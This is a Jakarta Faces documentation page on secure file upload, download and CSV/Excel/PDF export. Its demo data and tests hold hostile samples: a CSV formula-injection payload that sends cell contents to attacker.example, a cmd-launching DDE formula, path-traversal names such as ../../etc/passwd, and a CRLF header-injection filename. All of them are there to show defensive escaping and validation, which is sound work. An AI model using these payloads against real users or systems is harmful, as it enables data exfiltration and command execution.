File Upload and Download

This content was generated with the assistance of AI and should be verified against the official documentation before being relied on in production.

The reference material consulted while preparing these pages is listed in the section bibliography.

This page is written against Jakarta Faces 4.1 (API jakarta.faces-api 4.1.2, part of Jakarta EE 11) with Jakarta Servlet 6.1, Eclipse Mojarra 4.1.17 and Apache MyFaces Core 4.1.4, with Java 17 or later (the examples were compiled with --release 21). Faces 4.0 behaves the same for everything below. The upload and download code in this page was run for real: it was deployed as an exploded Bookshelf WAR on Tomcat 11.0.26 with Weld 6.0.4.Final, once with Mojarra and once with MyFaces, and driven with curl (multipart requests built by hand), so the messages, status codes and headers shown are what came back (checked on 2026-10-08). Anything not run is said so in the text.

Files travel in two directions. In an upload the browser sends a file chosen by the user inside a form, and Faces hands the application a jakarta.servlet.http.Part. In a download the application writes the bytes of a file (a CSV export, a stored cover image) straight into the HTTP response and tells Faces not to render a view. Both are thin layers over the Servlet API, and both are security-sensitive because the bytes, the file name and the declared content type come from or go to somewhere you do not control. The Bookshelf uses them for cover images and for a catalogue export.

How an Upload Reaches Your Bean

A browser uploads a file only inside a form whose enctype is multipart/form-data. The request body then has one part per field, and a file field carries a file name and a content type next to its bytes. Faces does not parse that body itself. It relies on the servlet container:

  • jakarta.faces.webapp.FacesServlet must be annotated with jakarta.servlet.annotation.MultipartConfig; the API documentation states this so that the container handles multipart form data correctly. The annotation (or a multipart-config element in web.xml, see Multipart Limits) is what makes HttpServletRequest.getParts() work.

  • The standard HTML render kit’s renderer for h:inputFile (renderer type jakarta.faces.File) decodes a request by calling getParts() on the HttpServletRequest, keeping the parts whose name equals the component’s client id, and setting them as the component’s submitted value: a single Part, or a collection of parts when multiple is true. The VDL documentation says that an exception thrown while using the multipart API is wrapped in a FacesException and reaches the ExceptionHandler.

In lifecycle terms (see Request Processing Lifecycle): Apply Request Values stores the parts as the submitted value, Process Validations runs the converter and every validator on the Part, Update Model Values puts it into your bean property and Invoke Application runs your action. An upload is therefore an ordinary input component. It supports required, requiredMessage, validator, converter, immediate, rendered and valueChangeListener, and a failed validator stops the model update and the action exactly as for a text field.

The h:inputFile Component

h:inputFile (component type jakarta.faces.HtmlInputFile, introduced in JSF 2.2) renders <input type="file">. The attributes below are the ones the 4.1 VDL documentation lists that matter for an upload:

Attribute Meaning

value

Where the file goes: a Part property, or for multiple="true" a List<Part> (a Collection<Part> also works).

multiple

Added in Faces 4.0. When true, the browser’s file dialog lets the user select several files (not folders) and the renderer emits multiple="multiple"; false renders no attribute.

accept

Added in Faces 4.0. A comma-separated list of MIME types that filters the browser’s file dialog, for example image/png,image/jpeg. The documentation states plainly that this is not validated on the server.

required, requiredMessage

Rejects a submission with no file. Since Faces 4.0 parts with an empty file name or a size of zero are filtered out of the submitted value, so "no file chosen" really counts as empty (observed: a request carrying a zero-byte file produced the required message on both Mojarra and MyFaces).

validator, converter, converterMessage

The usual hooks; the value they receive is the Part.

immediate, rendered, disabled, label, id, binding, styleClass, style, title, tabindex, lang, dir, role, valueChangeListener and the onclick-style event attributes

As on other input components.

Three rules follow from the documentation and were observed:

  • The enclosing h:form must declare enctype="multipart/form-data". Without it the browser sends only the file name, not the bytes. In every project stage except Production the renderer checks this and adds a FacesMessage; on Mojarra the message read "File upload component requires a form with an enctype of multipart/form-data" (not run on MyFaces). In Production the check is skipped, so the mistake becomes a silent failure there.

  • The component renders no value attribute: a file input can never be pre-filled, and after a validation failure the user must choose the file again.

  • A Part belongs to the request. Read it during the request (in the action or in a validator) and do not keep it in a session or view-scoped bean: the container is free to discard the temporary storage behind it when the request ends.

Example: Uploading a Cover Image

The Bookshelf lets an editor attach a cover to a book. The view has one file input, restricts the dialog to PNG and JPEG and attaches a validator:

A form with h:inputFile, a custom validator and required
<h:form id="up" enctype="multipart/form-data">
  <h:outputLabel for="cover" value="Cover"/>
  <h:inputFile id="cover" value="#{coverUploadBean.cover}" accept="image/png,image/jpeg"
               required="true" requiredMessage="Choose a cover.">
    <f:validator validatorId="bookshelf.coverFile"/>
  </h:inputFile>
  <h:commandButton id="upload" value="Upload" action="#{coverUploadBean.save}"/>
</h:form>
<h:messages id="msgs"/>

The bean receives the Part, copies its bytes to the store and reports the result:

CoverUploadBean
package org.example.bookshelf.web;

import jakarta.enterprise.context.RequestScoped;
import jakarta.faces.application.FacesMessage;
import jakarta.faces.context.FacesContext;
import jakarta.inject.Inject;
import jakarta.inject.Named;
import jakarta.servlet.http.Part;
import java.io.IOException;
import java.io.InputStream;
import java.util.List;
import org.example.bookshelf.service.CoverStore;

@Named
@RequestScoped
public class CoverUploadBean {

    @Inject
    private CoverStore store;
    @Inject
    private FacesContext facesContext;

    private Part cover;
    private List<Part> extras;

    public String save() throws IOException {
        String extension = CoverFileValidator.detectExtension(cover);
        String id;
        try (InputStream in = cover.getInputStream()) {
            id = store.save(in, extension);
        }
        facesContext.addMessage(null, new FacesMessage("Saved " + cover.getSize() + " bytes as " + id));
        return null;
    }

    public String saveExtras() {
        // each Part: getSubmittedFileName() is client data, getSize() and getContentType() too
        for (Part p : extras) {
            facesContext.addMessage(null, new FacesMessage("extra: " + p.getSubmittedFileName() + " " + p.getSize()));
        }
        return null;
    }

    public Part getCover() { return cover; }
    public void setCover(Part cover) { this.cover = cover; }
    public List<Part> getExtras() { return extras; }
    public void setExtras(List<Part> extras) { this.extras = extras; }
}

The validator is where the rules live. Because accept is only a hint to the browser, the server decides what a cover is. It checks the size reported by the container and then the first bytes of the file (its signature) instead of trusting the declared Content-Type:

CoverFileValidator
package org.example.bookshelf.web;

import jakarta.faces.application.FacesMessage;
import jakarta.faces.component.UIComponent;
import jakarta.faces.context.FacesContext;
import jakarta.faces.validator.FacesValidator;
import jakarta.faces.validator.Validator;
import jakarta.faces.validator.ValidatorException;
import jakarta.servlet.http.Part;
import java.io.IOException;
import java.io.InputStream;
import java.util.Arrays;

/** Checks size and real content type of an uploaded cover; does not trust the browser's Content-Type. */
@FacesValidator("bookshelf.coverFile")
public class CoverFileValidator implements Validator<Part> {

    static final long MAX_BYTES = 2 * 1024 * 1024;
    private static final byte[] PNG = {(byte) 0x89, 'P', 'N', 'G'};
    private static final byte[] JPEG = {(byte) 0xFF, (byte) 0xD8, (byte) 0xFF};

    @Override
    public void validate(FacesContext context, UIComponent component, Part part) {
        if (part == null) {
            return; // leave the "nothing chosen" case to required="true"
        }
        if (part.getSize() > MAX_BYTES) {
            throw fail("The cover must be at most 2 MB.");
        }
        if (detectExtension(part) == null) {
            throw fail("The cover must be a PNG or JPEG image.");
        }
    }

    /** Returns "png", "jpg" or null by reading the first bytes of the file. */
    static String detectExtension(Part part) {
        try (InputStream in = part.getInputStream()) {
            byte[] head = in.readNBytes(4);
            if (head.length >= 4 && Arrays.equals(Arrays.copyOf(head, 4), PNG)) {
                return "png";
            }
            if (head.length >= 3 && Arrays.equals(Arrays.copyOf(head, 3), JPEG)) {
                return "jpg";
            }
            return null;
        } catch (IOException e) {
            return null;
        }
    }

    private static ValidatorException fail(String text) {
        return new ValidatorException(new FacesMessage(FacesMessage.SEVERITY_ERROR, text, text));
    }
}

The store writes under a generated name in a directory outside the web application, and later only resolves ids that match the exact shape it generates (the reason is explained in Storing Uploads Safely):

CoverStore
package org.example.bookshelf.service;

import jakarta.enterprise.context.ApplicationScoped;
import java.io.IOException;
import java.io.InputStream;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.Optional;
import java.util.UUID;
import java.util.regex.Pattern;

/** Keeps uploaded covers in a directory outside the web application; file names are generated, never user-supplied. */
@ApplicationScoped
public class CoverStore {

    private static final Pattern ID = Pattern.compile("[0-9a-f]{32}\\.(png|jpg)");

    private final Path directory = Path.of(System.getProperty("bookshelf.covers.dir",
            System.getProperty("java.io.tmpdir") + "/bookshelf-covers"));

    public String save(InputStream in, String extension) throws IOException {
        Files.createDirectories(directory);
        String id = UUID.randomUUID().toString().replace("-", "") + "." + extension;
        Files.copy(in, directory.resolve(id));
        return id;
    }

    /** Resolves an id received from a request; anything that is not an id this class generated is rejected. */
    public Optional<Path> find(String id) {
        if (id == null || !ID.matcher(id).matches()) {
            return Optional.empty();
        }
        Path file = directory.resolve(id);
        return Files.isRegularFile(file) ? Optional.of(file) : Optional.empty();
    }
}

The same view was exercised with five multipart requests. Both Mojarra and MyFaces gave the same result for every one:

Request Result

a PNG of 19 bytes named cover.png

Message "Saved 19 bytes as" followed by a 32-hex-digit generated name ending in .png; one new file in the covers directory.

a PNG whose name is ../../evil.png

Saved under a new generated name; the submitted name was ignored.

a file named fake.png with Content-Type: image/png whose bytes start with MZ

"The cover must be a PNG or JPEG image."; nothing stored.

a file of 3 000 000 bytes starting with the PNG signature

"The cover must be at most 2 MB." (no multipart limit was configured for this run, see Multipart Limits).

a zero-byte file

"Choose a cover." (the requiredMessage).

Several Files at Once

With multiple="true" the value is a list of parts. The bean below only reports what the container knows about each part; this is also the quickest way to see which of the values are client-controlled:

Several files in one field
<h:form id="multi" enctype="multipart/form-data">
  <h:inputFile id="extras" value="#{coverUploadBean.extras}" multiple="true"/>
  <h:commandButton id="send" value="Send" action="#{coverUploadBean.saveExtras}"/>
</h:form>
private List<Part> extras;

public String saveExtras() {
    for (Part p : extras) {
        facesContext.addMessage(null, new FacesMessage("extra: " + p.getSubmittedFileName() + " " + p.getSize()));
    }
    return null;
}

Source: BalusC: What’s new in Faces 4.0? (the multiple and accept additions) and Jakarta Faces 4.1 VDL: h:inputFile

Sending three files, one of them with a zero length and one named ../../a.png, produced two messages on both implementations: the zero-byte file was skipped, and the name ../../a.png came back from getSubmittedFileName() exactly as sent. The Part methods you will use are getSubmittedFileName(), getContentType(), getSize(), getInputStream() (it can be called more than once in the scratch run: the validator read the first bytes and the action read the whole file), write(String) and delete(). Treat the first two as untrusted text.

Multipart Limits

The specification requires FacesServlet to carry @MultipartConfig, so Faces itself sets no limit. On Tomcat 11 with that annotation and no other configuration, a 3 MB upload reached the validator, so the default is "unlimited" and the size check in your validator runs after the whole file has been received. To make the container reject oversized requests early, declare the servlet in web.xml (see Declaring the FacesServlet in web.xml) and add a multipart-config element, which takes the place of the annotation’s values:

web.xml: the FacesServlet with multipart limits
<servlet>
  <servlet-name>facesServlet</servlet-name>
  <servlet-class>jakarta.faces.webapp.FacesServlet</servlet-class>
  <load-on-startup>1</load-on-startup>
  <multipart-config>
    <max-file-size>2097152</max-file-size>
    <max-request-size>4194304</max-request-size>
    <file-size-threshold>262144</file-size-threshold>
  </multipart-config>
</servlet>
<servlet-mapping>
  <servlet-name>facesServlet</servlet-name>
  <url-pattern>*.xhtml</url-pattern>
</servlet-mapping>

The elements correspond to the annotation’s maxFileSize, maxRequestSize, fileSizeThreshold (the size after which a part is written to disk) and location (the directory for those files). What happens when a limit is exceeded is a container matter, not a Faces one. On Tomcat 11, with the configuration above and either implementation, a 2.2 MB file was answered with HTTP 413 (Payload Too Large) and Tomcat’s own error page naming FileSizeLimitExceededException. The request never reached the lifecycle, so there is no FacesMessage and the user sees the container’s page. A 2 000 000 byte file passed. Design for this: keep your own validator for the friendly message on files within the hard limit, set the hard limit a little higher than the largest legal file, and expect other containers to report the failure differently (not run on them).

Validating Uploads

The browser’s accept filter, the file extension and the declared content type all come from the client, so none of them proves anything. A server-side check has these layers, in the order the validator above applies them:

  • Size. Part.getSize() for the message, plus the container limit of Multipart Limits as the hard stop.

  • Type by content. Read the first bytes and compare them with the signature of each allowed format (PNG starts with 89 50 4E 47, JPEG with FF D8 FF). The OWASP File Upload Cheat Sheet treats extension, content type and file signature as separate checks: the content type is supplied by the user and cannot be trusted, and a signature check should not be used on its own because bypassing it is common. The validator above is therefore a floor, not a guarantee.

  • Name. Never use the submitted name as a path. OWASP’s advice is a random name such as a UUID; show the submitted name, if at all, as escaped text.

  • Content. A signature proves only the start of the file. If the file is processed (an image resized, a document parsed) do that with a library that is kept patched and a hard limit on memory and dimensions.

accept is not enforced on the server, as the VDL says. BalusC’s note on the 4.0 release recommends a custom validator that compares the file against ExternalContext.getMimeType(), which maps a file name to a MIME type using the servlet context. OmniFaces ships an o:inputFile component that extends h:inputFile with directory and maxsize attributes and server-side validation of accept and maxsize (see the OmniFaces page of this section). A custom Bean Validation constraint whose ConstraintValidator receives the Part could do the same job; the mechanism for writing one is on the Bean Validation page, but this page did not run such a constraint on a Part.

Storing Uploads Safely

  • Generate the stored name. The scratch run shows why: on Tomcat getSubmittedFileName() returned ../../a.png unchanged, and the Servlet API gives no promise that it is a bare file name (browsers differ in whether they send a path). A name used in Path.resolve(...) or Part.write(...) is a path traversal waiting to happen. The store above uses a random UUID and an extension chosen from the detected type, never from the request.

  • Keep files outside the web root. A file under the application directory can be requested directly, and a file named x.xhtml there could even be executed as a view. The directory in the example is configured with a system property and defaults to a folder in the temporary directory.

  • Resolve ids strictly. The download side receives an id from a request parameter. CoverStore.find accepts only [0-9a-f]{32}\.(png|jpg), so ../../etc/passwd is rejected before any path is built (checked: the request got a 404).

  • Do not serve uploads from your origin as active content. The next section sends X-Content-Type-Options: nosniff and a type taken from the stored extension. An uploaded HTML or SVG file served as a page would run its script with your site’s cookies.

  • Authorise the read. The example returns any stored id to anyone who knows it. A real application checks that the current user may see that book’s cover.

Streaming a Download with ExternalContext

A download does not go through a Facelets view: the application takes over the response, writes bytes and calls FacesContext.responseComplete() so that the lifecycle skips Render Response. The pieces are all on jakarta.faces.context.ExternalContext:

Method Use

responseReset()

Clears the buffer and headers set so far; call it first.

setResponseContentType(String), setResponseCharacterEncoding(String)

The MIME type (text/csv) and, for text, the encoding. The CSV run answered Content-Type: text/csv;charset=UTF-8.

setResponseHeader(String, String), addResponseHeader(String, String)

Content-Disposition, X-Content-Type-Options, cache headers.

setResponseContentLengthLong(long)

The size in bytes when known (4.1 API also has the int variant setResponseContentLength); lets the client show progress.

getResponseOutputStream(), getResponseOutputWriter()

The bytes or characters sink. Closing it, or the try-with-resources block ending, flushes it.

getMimeType(String)

MIME type for a file name from the servlet context; the cover download used it and got image/png.

responseSendError(int, String), setResponseStatus(int)

For "not found" and similar.

Two request styles fit. A POST from a command button suits an export that is the result of what the user just chose. A GET suits a resource with an address, such as a stored cover; there a f:viewAction in a view with only metadata can stream the file. Both are shown below:

The export form, a plain (non-Ajax) command button
<h:form id="exp">
  <h:commandButton id="csv" value="Export CSV" action="#{exportBean.downloadCsv}"/>
</h:form>
cover.xhtml: a GET download addressed as cover.xhtml?id=…​
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml"
      xmlns:f="jakarta.faces.core">
<f:metadata>
  <f:viewParam name="id" value="#{exportBean.id}"/>
  <f:viewAction action="#{exportBean.sendCover}"/>
</f:metadata>
</html>
ExportBean: a CSV download and a stored-file download
package org.example.bookshelf.web;

import jakarta.enterprise.context.RequestScoped;
import jakarta.faces.context.ExternalContext;
import jakarta.faces.context.FacesContext;
import jakarta.inject.Inject;
import jakarta.inject.Named;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.Writer;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.List;
import org.example.bookshelf.service.CoverStore;
import org.example.bookshelf.service.CsvEscaper;

@Named
@RequestScoped
public class ExportBean {

    public record Row(String title, String author, int year, double price) { }

    @Inject
    private FacesContext facesContext;
    @Inject
    private CoverStore store;

    private String id;

    /** Demo data: the first two titles were typed by users and are hostile. */
    private List<Row> rows() {
        return List.of(
                new Row("=HYPERLINK(\"https://attacker.example/?d=\"&A2,\"Click me\")", "Eve", 2024, 12.5),
                new Row("@SUM(1+1)*cmd|' /C calc'!A0", "Mallory", 2023, -3.0),
                new Row("Dune, Part \"One\"", "Frank Herbert", 1965, 9.99));
    }

    public void downloadCsv() throws IOException {
        ExternalContext ec = facesContext.getExternalContext();
        ec.responseReset();
        ec.setResponseContentType("text/csv");
        ec.setResponseCharacterEncoding("UTF-8");
        ec.setResponseHeader("Content-Disposition", "attachment; filename=\"books.csv\"");
        try (Writer out = ec.getResponseOutputWriter()) {
            out.write("title,author,year,price\r\n");
            for (Row r : rows()) {
                out.write(String.join(",", CsvEscaper.text(r.title()), CsvEscaper.text(r.author()),
                        CsvEscaper.number(r.year()), CsvEscaper.number(r.price())));
                out.write("\r\n");
            }
        }
        facesContext.responseComplete();
    }

    public void sendCover() throws IOException {
        ExternalContext ec = facesContext.getExternalContext();
        Path file = store.find(id).orElse(null);
        if (file == null) {
            ec.responseSendError(404, "No such cover");
        } else {
            ec.responseReset();
            ec.setResponseContentType(ec.getMimeType(file.getFileName().toString()));
            ec.setResponseContentLengthLong(Files.size(file));
            ec.setResponseHeader("X-Content-Type-Options", "nosniff");
            ec.setResponseHeader("Content-Disposition", "inline; filename=\"cover\"");
            try (InputStream in = Files.newInputStream(file); OutputStream out = ec.getResponseOutputStream()) {
                in.transferTo(out);
            }
        }
        facesContext.responseComplete();
    }

    public String getId() { return id; }
    public void setId(String id) { this.id = id; }
}

The captured exchanges (curl, Mojarra and MyFaces identical; the CSV body is shown in CSV Export and Formula Injection):

POST /bookshelf/index.xhtml   (exp:csv)
HTTP/1.1 200
Content-Disposition: attachment; filename="books.csv"
Content-Type: text/csv;charset=UTF-8

GET /bookshelf/cover.xhtml?id=<generated id>.png
HTTP/1.1 200
X-Content-Type-Options: nosniff
Content-Disposition: inline; filename="cover"
Content-Type: image/png
Content-Length: 19

GET /bookshelf/cover.xhtml?id=../../etc/passwd
HTTP/1.1 404

Points that decide whether a download works:

  • Call responseComplete(). Without it Faces continues to Render Response. The lifecycle page shows the result when the stream is only flushed: the view’s HTML is appended to the file. In the run for this page the writer was closed by try-with-resources, so the CSV arrived intact, but Mojarra still logged a warning that it skipped setting the buffer size on a committed response. Do not rely on the stream being closed: call responseComplete() every time.

  • Use a non-Ajax request. A download is not a partial response, and the browser can only turn a navigation or a form submission into a saved file, not the body of an XMLHttpRequest. Put the button in a form without f:ajax; in PrimeFaces a p:commandButton that downloads needs ajax="false" or p:fileDownload (see the PrimeFaces files page of this section). This follows from how browsers treat Ajax responses; it was not exercised in a browser here.

  • Reset first. responseReset() discards anything buffered, including headers Faces or a filter may have added.

  • A GET download must still be safe. It must not change state, and it needs the same authorisation as the page that links to it.

  • Large files. Copy with a buffer (InputStream.transferTo) rather than loading the file into memory, and set the content length when you know it. Faces gives no help with HTTP range requests or resumable downloads; for very large files or media streaming use a plain servlet or a Jakarta REST resource next to the Faces application (not tested for this page).

Content-Disposition and the File Name

Content-Disposition: attachment asks the browser to save rather than display; inline asks it to show the content. The file name in the header must not contain unescaped quotes or line breaks, and non-ASCII names need the extended form defined in RFC 6266 and RFC 8187 (filename*=UTF-8''..., percent-encoded). If any part of the name comes from a user, build the header with a helper:

A Content-Disposition value that survives quotes, accents and CR/LF
static String attachment(String filename) {
    String ascii = filename.replaceAll("[^\\x20-\\x7E]|[\"\\\\]", "_");
    String utf8 = URLEncoder.encode(filename, UTF_8).replace("+", "%20");
    return "attachment; filename=\"" + ascii + "\"; filename*=UTF-8''" + utf8;
}

Run on three names, it returned:

attachment; filename="books.csv"; filename*=UTF-8''books.csv
attachment; filename="Cat_logo de libros.csv"; filename*=UTF-8''Cat%C3%A1logo%20de%20libros.csv
attachment; filename="a_b__X-Evil: 1.csv"; filename*=UTF-8''a%22b%0D%0AX-Evil%3A%201.csv

The third name contained a quote and a CR/LF followed by a header-like text; both forms are harmless. The result was not fed to a browser here.

CSV Export and Formula Injection

A CSV file of catalogue data looks harmless, and the lifecycle page writes one with fixed data. It becomes an attack vector as soon as a cell holds text a user typed. When Excel or LibreOffice Calc opens a CSV, a cell that starts with = is evaluated as a formula. OWASP describes three consequences: running commands through a vulnerability in the spreadsheet program, tricking users who ignore security warnings in downloaded spreadsheets, and exfiltrating the contents of the sheet or of other open sheets. A book title such as the first row of the demo data below is all it takes, because the victim is the colleague who exports the catalogue, not the attacker.

OWASP’s guidance, which this page follows, is:

  • A cell must not begin with =, +, -, @, a tab (0x09), a carriage return (0x0D) or a line feed (0x0A); the OWASP page also lists the full-width variants of the first four, which some locales interpret as formula starts.

  • It is not enough to check the start of the user’s text, because a separator or a quote inside it can begin a new cell. Therefore quote every text cell, double every " inside it, and prefix cells that start with a dangerous character with a single quote so that the spreadsheet reads them as text.

  • The page warns that these techniques are not reliable in Microsoft Excel once the file has been saved and reopened, and offers a stricter Excel-oriented variant that prefixes a tab character inside the quoted field. The tab stays in the data and can confuse later programmatic imports, so OWASP calls it best suited to files meant for human viewing. There is no universal strategy, so choose according to who consumes the file.

The helper below applies the single-quote variant. It escapes text cells and leaves numbers alone because a number written from a double or int cannot be influenced by a user (and a legitimate -3.0 must stay a number):

CsvEscaper
package org.example.bookshelf.service;

import java.util.Set;

/** Escapes one text cell of a CSV file against RFC 4180 quoting and spreadsheet formula injection. */
public final class CsvEscaper {

    private static final Set<Character> FORMULA_STARTS =
            Set.of('=', '+', '-', '@', '\t', '\r', '\n', '=', '+', '-', '@');

    private CsvEscaper() {
    }

    /** Use for every cell that holds text, in particular text typed by a user. */
    public static String text(String value) {
        if (value == null) {
            return "";
        }
        String safe = value;
        if (!safe.isEmpty() && FORMULA_STARTS.contains(safe.charAt(0))) {
            safe = "'" + safe;
        }
        return '"' + safe.replace("\"", "\"\"") + '"';
    }

    /** Use for cells produced from a numeric type: the text cannot be influenced by a user. */
    public static String number(Number value) {
        return value == null ? "" : value.toString();
    }
}

Run on a set of inputs, CsvEscaper.text returned:

=1+2          ->  "'=1+2"
+1            ->  "'+1"
-1            ->  "'-1"
@x            ->  "'@x"
<tab>=x       ->  "'<tab>=x"
=1           ->  "'=1"
plain         ->  "plain"
a=b           ->  "a=b"
He said "hi", ok  ->  "He said ""hi"", ok"
(empty)       ->  ""

Source: the output of CsvEscaper run in the scratch Bookshelf (rules from OWASP: CSV Injection)

and the download of the demo data, with two hostile titles and one title containing a comma and quotes, was:

title,author,year,price
"'=HYPERLINK(""https://attacker.example/?d=""&A2,""Click me"")","Eve",2024,12.5
"'@SUM(1+1)*cmd|' /C calc'!A0","Mallory",2023,-3.0
"Dune, Part ""One""","Frank Herbert",1965,9.99

Source: the response body of the CSV download in the scratch Bookshelf (RFC 4180 quoting plus the OWASP rule)

Practical rules that go with the helper:

  • Escape every text cell, not just the ones that look dangerous today, and do it where the file is written, not where the data is entered; the same data feeds other consumers that want it unmodified.

  • Keep numbers and dates as numbers. If a numeric column is built from a string, escape it as text or validate it first.

  • The separator is locale-sensitive in spreadsheets (some locales expect ;). Pick one, document it, and quote text cells so a separator in the data does not matter.

  • Tell the consumer. The single quote is visible when the file is read by a program, which is the price of safety.

For the full treatment of formula injection and of limits for untrusted Office files, see Security & Untrusted Files. Excel and PDF exports have a similar concern (the Django section has a parallel treatment of CSV injection in Django page on streaming and CSV responses). Apache POI’s Cell interface has a separate setCellFormula(String) method next to the setCellValue(...) family, so text goes in through setCellValue(String) and is stored as a string cell; the next section writes such a file and inspects it.

Streaming PDF and Excel Exports

A CSV file is text, so the CSV example above writes it with a Writer. PDF and Excel files are binary packages, and they need the same Faces mechanism as the CSV file: take over the response, write the bytes to getResponseOutputStream() and call responseComplete(). The libraries are not part of Jakarta Faces; the example below uses Apache POI 5.5.1 (poi-ooxml) for the .xlsx file and OpenPDF 1.4.2 (com.github.librepdf:openpdf, package com.lowagie.text) for the PDF, the same versions PrimeFaces 16 declares for its own exporters (see Helpers in the Component Libraries). Both libraries write to an OutputStream, so the response stream can be their target directly:

  • Excel. SXSSFWorkbook is POI’s streaming variant: it keeps a sliding window of rows (100 here) in memory and writes the older rows to a temporary file, so a catalogue of a million rows needs a small heap. workbook.write(out) then streams the finished package into the response, and closing the workbook deletes the temporary files.

  • PDF. PdfWriter.getInstance(document, out) makes the response the target of the document; setHeaderRows(1) repeats the header row of the table on every page. The example builds one PdfPTable in memory before adding it, so for a very large report add the rows in slices; the run used three rows only.

  • Content length. The size is not known before the file is finished, so no Content-Length is set and the container answers with Transfer-Encoding: chunked (seen in the run). If the client needs a progress bar, write the file to a temporary file first, then call setResponseContentLengthLong(Files.size(file)) and copy it with transferTo, as the cover download above does. The same detour is the way to report a failure: once the first bytes are committed the status code can no longer change, so an error half way through produces a truncated file instead of an error page.

  • Formulas. Text goes in through Cell.setCellValue(String), never setCellFormula. In the run the first title was =HYPERLINK(...); the sheet XML stored it as an inline string (t="inlineStr") and contained no <f> element, so the spreadsheet application reads it as text (the file was inspected, not opened in Excel). A PDF has no formula concept.

BookReportBean.java: streaming .xlsx and .pdf downloads
package org.example.bookshelf.web;

import com.lowagie.text.Document;
import com.lowagie.text.DocumentException;
import com.lowagie.text.Element;
import com.lowagie.text.Font;
import com.lowagie.text.FontFactory;
import com.lowagie.text.PageSize;
import com.lowagie.text.Paragraph;
import com.lowagie.text.Phrase;
import com.lowagie.text.pdf.PdfPCell;
import com.lowagie.text.pdf.PdfPTable;
import com.lowagie.text.pdf.PdfWriter;
import jakarta.enterprise.context.RequestScoped;
import jakarta.faces.context.ExternalContext;
import jakarta.faces.context.FacesContext;
import jakarta.inject.Inject;
import jakarta.inject.Named;
import java.io.IOException;
import java.io.OutputStream;
import java.util.List;
import org.apache.poi.ss.usermodel.Row;
import org.apache.poi.ss.usermodel.Sheet;
import org.apache.poi.xssf.streaming.SXSSFWorkbook;

@Named
@RequestScoped
public class BookReportBean {

    public record Line(String title, String author, int year, double price) { }

    private static final String[] HEADERS = {"Title", "Author", "Year", "Price"};

    @Inject
    private FacesContext facesContext;

    /** Demo data; the first title was typed by a user and starts like a spreadsheet formula. */
    private List<Line> lines() {
        return List.of(
                new Line("=HYPERLINK(\"https://attacker.example/?d=\"&A2,\"Click me\")", "Eve", 2024, 12.5),
                new Line("Dune, Part \"One\"", "Frank Herbert", 1965, 9.99),
                new Line("Neuromancer", "William Gibson", 1984, 8.5));
    }

    public void downloadXlsx() throws IOException {
        ExternalContext ec = begin("application/vnd.openxmlformats-officedocument.spreadsheetml.sheet", "books.xlsx");
        // Keeps 100 rows in memory and spills the rest to temporary files; write() streams the finished package.
        try (SXSSFWorkbook workbook = new SXSSFWorkbook(100); OutputStream out = ec.getResponseOutputStream()) {
            Sheet sheet = workbook.createSheet("Books");
            Row head = sheet.createRow(0);
            for (int c = 0; c < HEADERS.length; c++) {
                head.createCell(c).setCellValue(HEADERS[c]);
            }
            int r = 1;
            for (Line line : lines()) {
                Row row = sheet.createRow(r++);
                row.createCell(0).setCellValue(line.title());   // always a string cell, never a formula
                row.createCell(1).setCellValue(line.author());
                row.createCell(2).setCellValue(line.year());
                row.createCell(3).setCellValue(line.price());
            }
            workbook.write(out);
        }
        facesContext.responseComplete();
    }

    public void downloadPdf() throws IOException {
        ExternalContext ec = begin("application/pdf", "books.pdf");
        Font bold = FontFactory.getFont(FontFactory.HELVETICA_BOLD, 10);
        Font plain = FontFactory.getFont(FontFactory.HELVETICA, 10);
        Document pdf = new Document(PageSize.A4);
        try (OutputStream out = ec.getResponseOutputStream()) {
            PdfWriter.getInstance(pdf, out);
            pdf.open();
            pdf.add(new Paragraph("Bookshelf catalogue", FontFactory.getFont(FontFactory.HELVETICA_BOLD, 16)));
            PdfPTable table = new PdfPTable(new float[] {5, 3, 1, 1});
            table.setWidthPercentage(100);
            table.setSpacingBefore(12);
            table.setHeaderRows(1);                          // repeated on every page
            for (String header : HEADERS) {
                table.addCell(new Phrase(header, bold));
            }
            for (Line line : lines()) {
                table.addCell(new Phrase(line.title(), plain));
                table.addCell(new Phrase(line.author(), plain));
                table.addCell(right(Integer.toString(line.year()), plain));
                table.addCell(right(String.format("%.2f", line.price()), plain));
            }
            pdf.add(table);
            pdf.close();
        } catch (DocumentException e) {
            throw new IOException("Could not write the PDF", e);
        }
        facesContext.responseComplete();
    }

    private static PdfPCell right(String text, Font font) {
        PdfPCell cell = new PdfPCell(new Phrase(text, font));
        cell.setHorizontalAlignment(Element.ALIGN_RIGHT);
        return cell;
    }

    private ExternalContext begin(String contentType, String fileName) {
        ExternalContext ec = facesContext.getExternalContext();
        ec.responseReset();
        ec.setResponseContentType(contentType);
        ec.setResponseHeader("Content-Disposition", "attachment; filename=\"" + fileName + "\"");
        ec.setResponseHeader("X-Content-Type-Options", "nosniff");
        return ec;
    }
}
reports.xhtml (content of h:body): plain, non-Ajax buttons
<h:form id="rep">
  <h:commandButton id="xlsx" value="Excel" action="#{bookReportBean.downloadXlsx}"/>
  <h:commandButton id="pdf" value="PDF" action="#{bookReportBean.downloadPdf}"/>
</h:form>

Posting each button to a scratch Bookshelf on Tomcat 11.0.26 with Weld and Mojarra 4.1.17 (the form post built by hand with curl) answered 200 with Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet and application/pdf respectively, Content-Disposition: attachment; filename="books.xlsx" (and books.pdf), Transfer-Encoding: chunked, a 3.5 KB package that unzipped as an OOXML workbook with four rows, and a one-page PDF 1.5 file. No unhandled exception was logged. MyFaces was not run for this example.

Helpers in the Component Libraries

  • OmniFaces provides Faces.sendFile(File, boolean) and variants taking a byte[] or an InputStream, plus a lambda that writes the output, with the boolean selecting attachment or inline; it wraps the steps of the Streaming a Download with ExternalContext section (see also the OmniFaces page). o:inputFile is described in Validating Uploads.

  • PrimeFaces offers p:fileUpload (with a progress bar, drag and drop and an Ajax mode) and p:fileDownload, and a data exporter for tables; they are covered on the PrimeFaces files page and the PrimeFaces data components page of this section. The same escaping rules apply to any exported cell that contains user text. The check was made there: the PrimeFaces 16.0.0 CSV exporter writes cells that start with =, @ or - verbatim, so it does not neutralise formulas, while its xlsx output stores every cell as a string; the PrimeFaces page shows how to replace the CSV exporter with one that applies the escaping of this page.

Mojarra and MyFaces

